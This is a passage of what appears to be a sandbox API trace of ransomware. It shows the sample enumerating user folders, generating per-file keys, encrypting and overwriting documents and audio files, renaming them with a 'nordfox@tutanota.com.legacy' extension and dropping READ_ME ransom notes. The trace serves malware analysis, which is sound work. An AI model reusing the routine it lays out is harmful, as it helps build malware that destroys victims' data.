lpFileSize=0x2e1f998*=1528) returned 1 [0140.996] ReadFile (in: hFile=0x78c, lpBuffer=0x2f40858, nNumberOfBytesToRead=0x5f8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40858*, lpNumberOfBytesRead=0x2e1f9bc*=0x5f8, lpOverlapped=0x0) returned 1 [0140.997] SetFilePointer (in: hFile=0x78c, lDistanceToMove=-1528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.997] WriteFile (in: hFile=0x78c, lpBuffer=0x578110*, nNumberOfBytesToWrite=0x5f8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x578110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5f8, lpOverlapped=0x0) returned 1 [0140.997] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40858 | out: hHeap=0x520000) returned 1 [0140.997] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578110 | out: hHeap=0x520000) returned 1 [0140.997] SetFilePointer (in: hFile=0x78c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5f8 [0140.997] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0140.997] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0140.997] WriteFile (in: hFile=0x78c, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0140.998] WriteFile (in: hFile=0x78c, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0140.998] CloseHandle (hObject=0x78c) returned 1 [0140.998] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5298 | out: hHeap=0x520000) returned 1 [0140.998] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0140.998] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\ZEJ4AMkjS2mO\\8SBLhTUM1.doc" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\zej4amkjs2mo\\8sblhtum1.doc"), lpNewFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\ZEJ4AMkjS2mO\\8SBLhTUM1.doc.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\zej4amkjs2mo\\8sblhtum1.doc.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0140.999] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609cf8 | out: hHeap=0x520000) returned 1 [0140.999] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6a40 | out: hHeap=0x520000) returned 1 [0140.999] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6910 | out: hHeap=0x520000) returned 1 [0140.999] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611b98 | out: hHeap=0x520000) returned 1 [0140.999] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0140.999] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d88 | out: hHeap=0x520000) returned 1 [0140.999] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc5bf89c0, ftCreationTime.dwHighDateTime=0x1d4d593, ftLastAccessTime.dwLowDateTime=0xd73c4943, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd73c4943, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c898 [0141.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0141.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.000] GetLastError () returned 0x0 [0141.000] SetLastError (dwErrCode=0x0) [0141.000] GetLastError () returned 0x0 [0141.000] SetLastError (dwErrCode=0x0) [0141.000] GetLastError () returned 0x0 [0141.000] SetLastError (dwErrCode=0x0) [0141.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56db30 | out: hHeap=0x520000) returned 1 [0141.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c958 | out: hHeap=0x520000) returned 1 [0141.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20210 | out: hHeap=0x520000) returned 1 [0141.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610180 | out: hHeap=0x520000) returned 1 [0141.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0141.000] FindNextFileW (in: hFindFile=0x60c898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc5bf89c0, ftCreationTime.dwHighDateTime=0x1d4d593, ftLastAccessTime.dwLowDateTime=0xd73c4943, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd73c4943, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0141.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0141.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.000] GetLastError () returned 0x0 [0141.000] SetLastError (dwErrCode=0x0) [0141.000] GetLastError () returned 0x0 [0141.000] SetLastError (dwErrCode=0x0) [0141.000] GetLastError () returned 0x0 [0141.000] SetLastError (dwErrCode=0x0) [0141.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dd40 | out: hHeap=0x520000) returned 1 [0141.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c418 | out: hHeap=0x520000) returned 1 [0141.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20120 | out: hHeap=0x520000) returned 1 [0141.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610248 | out: hHeap=0x520000) returned 1 [0141.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0141.001] FindNextFileW (in: hFindFile=0x60c898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1db300e0, ftCreationTime.dwHighDateTime=0x1d4cd82, ftLastAccessTime.dwLowDateTime=0xd7aeddf0, ftLastAccessTime.dwHighDateTime=0x1d4ccb7, ftLastWriteTime.dwLowDateTime=0xd7aeddf0, ftLastWriteTime.dwHighDateTime=0x1d4ccb7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="0pd24cSq3_ufoerJ", cAlternateFileName="0PD24C~1")) returned 1 [0141.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0141.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553c10 | out: hHeap=0x520000) returned 1 [0141.001] GetLastError () returned 0x0 [0141.001] SetLastError (dwErrCode=0x0) [0141.001] GetLastError () returned 0x0 [0141.001] SetLastError (dwErrCode=0x0) [0141.001] GetLastError () returned 0x0 [0141.001] SetLastError (dwErrCode=0x0) [0141.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0141.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0141.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.001] GetLastError () returned 0x0 [0141.001] SetLastError (dwErrCode=0x0) [0141.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0141.001] GetLastError () returned 0x0 [0141.001] SetLastError (dwErrCode=0x0) [0141.001] GetLastError () returned 0x0 [0141.001] SetLastError (dwErrCode=0x0) [0141.001] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\a2m0kn e2vxfw_qw8sv9\\0pd24csq3_ufoerj\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x790 [0141.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60d2b0 | out: hHeap=0x520000) returned 1 [0141.002] WriteFile (in: hFile=0x790, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0141.002] CloseHandle (hObject=0x790) returned 1 [0141.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0141.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0141.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0141.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6ad8 | out: hHeap=0x520000) returned 1 [0141.003] FindNextFileW (in: hFindFile=0x60c898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8398220, ftCreationTime.dwHighDateTime=0x1d4d21e, ftLastAccessTime.dwLowDateTime=0x3917a310, ftLastAccessTime.dwHighDateTime=0x1d4c60a, ftLastWriteTime.dwLowDateTime=0x3917a310, ftLastWriteTime.dwHighDateTime=0x1d4c60a, nFileSizeHigh=0x0, nFileSizeLow=0x146af, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="9tqZQLmQhz6XzTLpn.mp3", cAlternateFileName="9TQZQL~1.MP3")) returned 1 [0141.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0141.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0141.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0141.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0141.003] GetLastError () returned 0x0 [0141.003] SetLastError (dwErrCode=0x0) [0141.003] GetLastError () returned 0x0 [0141.003] SetLastError (dwErrCode=0x0) [0141.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0141.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0141.003] GetLastError () returned 0x0 [0141.003] SetLastError (dwErrCode=0x0) [0141.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0141.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0141.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6a40 [0141.003] FindNextFileW (in: hFindFile=0x60c898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x742af440, ftCreationTime.dwHighDateTime=0x1d4d0e4, ftLastAccessTime.dwLowDateTime=0x370be2b0, ftLastAccessTime.dwHighDateTime=0x1d4d17d, ftLastWriteTime.dwLowDateTime=0x370be2b0, ftLastWriteTime.dwHighDateTime=0x1d4d17d, nFileSizeHigh=0x0, nFileSizeLow=0xe640, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LoxgSUtg_5 XAv5n.mp3", cAlternateFileName="LOXGSU~1.MP3")) returned 1 [0141.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0141.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0141.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.003] GetLastError () returned 0x0 [0141.003] SetLastError (dwErrCode=0x0) [0141.003] GetLastError () returned 0x0 [0141.003] SetLastError (dwErrCode=0x0) [0141.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0141.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0141.003] GetLastError () returned 0x0 [0141.004] SetLastError (dwErrCode=0x0) [0141.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0141.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0141.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6ad8 [0141.004] FindNextFileW (in: hFindFile=0x60c898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a16cca0, ftCreationTime.dwHighDateTime=0x1d4cece, ftLastAccessTime.dwLowDateTime=0x382759d0, ftLastAccessTime.dwHighDateTime=0x1d4d467, ftLastWriteTime.dwLowDateTime=0x382759d0, ftLastWriteTime.dwHighDateTime=0x1d4d467, nFileSizeHigh=0x0, nFileSizeLow=0x922b, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="MxGQeftBbwnhX S8Tv X.wav", cAlternateFileName="MXGQEF~1.WAV")) returned 1 [0141.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0141.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0141.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.004] GetLastError () returned 0x0 [0141.004] SetLastError (dwErrCode=0x0) [0141.004] GetLastError () returned 0x0 [0141.004] SetLastError (dwErrCode=0x0) [0141.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0141.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0141.004] GetLastError () returned 0x0 [0141.004] SetLastError (dwErrCode=0x0) [0141.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0141.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0141.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60cec0 [0141.004] FindNextFileW (in: hFindFile=0x60c898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd73c4943, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd73c4943, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd73c4943, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0141.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0141.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0141.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0141.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0141.004] GetLastError () returned 0x0 [0141.004] SetLastError (dwErrCode=0x0) [0141.004] GetLastError () returned 0x0 [0141.004] SetLastError (dwErrCode=0x0) [0141.004] GetLastError () returned 0x0 [0141.005] SetLastError (dwErrCode=0x0) [0141.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610360 [0141.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610360 | out: hHeap=0x520000) returned 1 [0141.005] FindNextFileW (in: hFindFile=0x60c898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd73c4943, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd73c4943, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd73c4943, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0141.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60cc20 [0141.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0141.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3418 [0141.005] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0141.005] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3418 | out: pbBuffer=0x5c3418) returned 1 [0141.005] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\MxGQeftBbwnhX S8Tv X.wav", dwFileAttributes=0x80) returned 1 [0141.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60d400 [0141.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a5b0 [0141.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60d400 | out: hHeap=0x520000) returned 1 [0141.005] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\MxGQeftBbwnhX S8Tv X.wav" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\a2m0kn e2vxfw_qw8sv9\\mxgqeftbbwnhx s8tv x.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x790 [0141.005] GetFileSizeEx (in: hFile=0x790, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=37419) returned 1 [0141.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x922b) returned 0x612410 [0141.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x922b) returned 0x2e61f38 [0141.006] ReadFile (in: hFile=0x790, lpBuffer=0x612410, nNumberOfBytesToRead=0x922b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x612410*, lpNumberOfBytesRead=0x2e1f9bc*=0x922b, lpOverlapped=0x0) returned 1 [0141.008] SetFilePointer (in: hFile=0x790, lDistanceToMove=-37419, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.008] WriteFile (in: hFile=0x790, lpBuffer=0x2e61f38*, nNumberOfBytesToWrite=0x922b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x922b, lpOverlapped=0x0) returned 1 [0141.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x612410 | out: hHeap=0x520000) returned 1 [0141.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e61f38 | out: hHeap=0x520000) returned 1 [0141.008] SetFilePointer (in: hFile=0x790, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x922b [0141.008] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0141.008] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0141.008] WriteFile (in: hFile=0x790, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0141.009] WriteFile (in: hFile=0x790, lpBuffer=0x5c3418*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3418*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0141.009] CloseHandle (hObject=0x790) returned 1 [0141.009] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0141.009] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3418 | out: hHeap=0x520000) returned 1 [0141.009] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\MxGQeftBbwnhX S8Tv X.wav" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\a2m0kn e2vxfw_qw8sv9\\mxgqeftbbwnhx s8tv x.wav"), lpNewFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\MxGQeftBbwnhX S8Tv X.wav.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\a2m0kn e2vxfw_qw8sv9\\mxgqeftbbwnhx s8tv x.wav.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0141.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a5b0 | out: hHeap=0x520000) returned 1 [0141.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cc20 | out: hHeap=0x520000) returned 1 [0141.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cec0 | out: hHeap=0x520000) returned 1 [0141.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x611e58 [0141.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0141.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0141.016] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0141.016] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0141.016] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\LoxgSUtg_5 XAv5n.mp3", dwFileAttributes=0x80) returned 1 [0141.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x611998 [0141.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x563f10 [0141.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611998 | out: hHeap=0x520000) returned 1 [0141.016] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\LoxgSUtg_5 XAv5n.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\a2m0kn e2vxfw_qw8sv9\\loxgsutg_5 xav5n.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x790 [0141.016] GetFileSizeEx (in: hFile=0x790, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=58944) returned 1 [0141.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe640) returned 0x2e61f38 [0141.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe640) returned 0x2e70580 [0141.016] ReadFile (in: hFile=0x790, lpBuffer=0x2e61f38, nNumberOfBytesToRead=0xe640, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesRead=0x2e1f9bc*=0xe640, lpOverlapped=0x0) returned 1 [0141.019] SetFilePointer (in: hFile=0x790, lDistanceToMove=-58944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.019] WriteFile (in: hFile=0x790, lpBuffer=0x2e70580*, nNumberOfBytesToWrite=0xe640, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e70580*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe640, lpOverlapped=0x0) returned 1 [0141.019] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e61f38 | out: hHeap=0x520000) returned 1 [0141.019] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e70580 | out: hHeap=0x520000) returned 1 [0141.019] SetFilePointer (in: hFile=0x790, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe640 [0141.019] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0141.019] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0141.020] WriteFile (in: hFile=0x790, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0141.020] WriteFile (in: hFile=0x790, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, 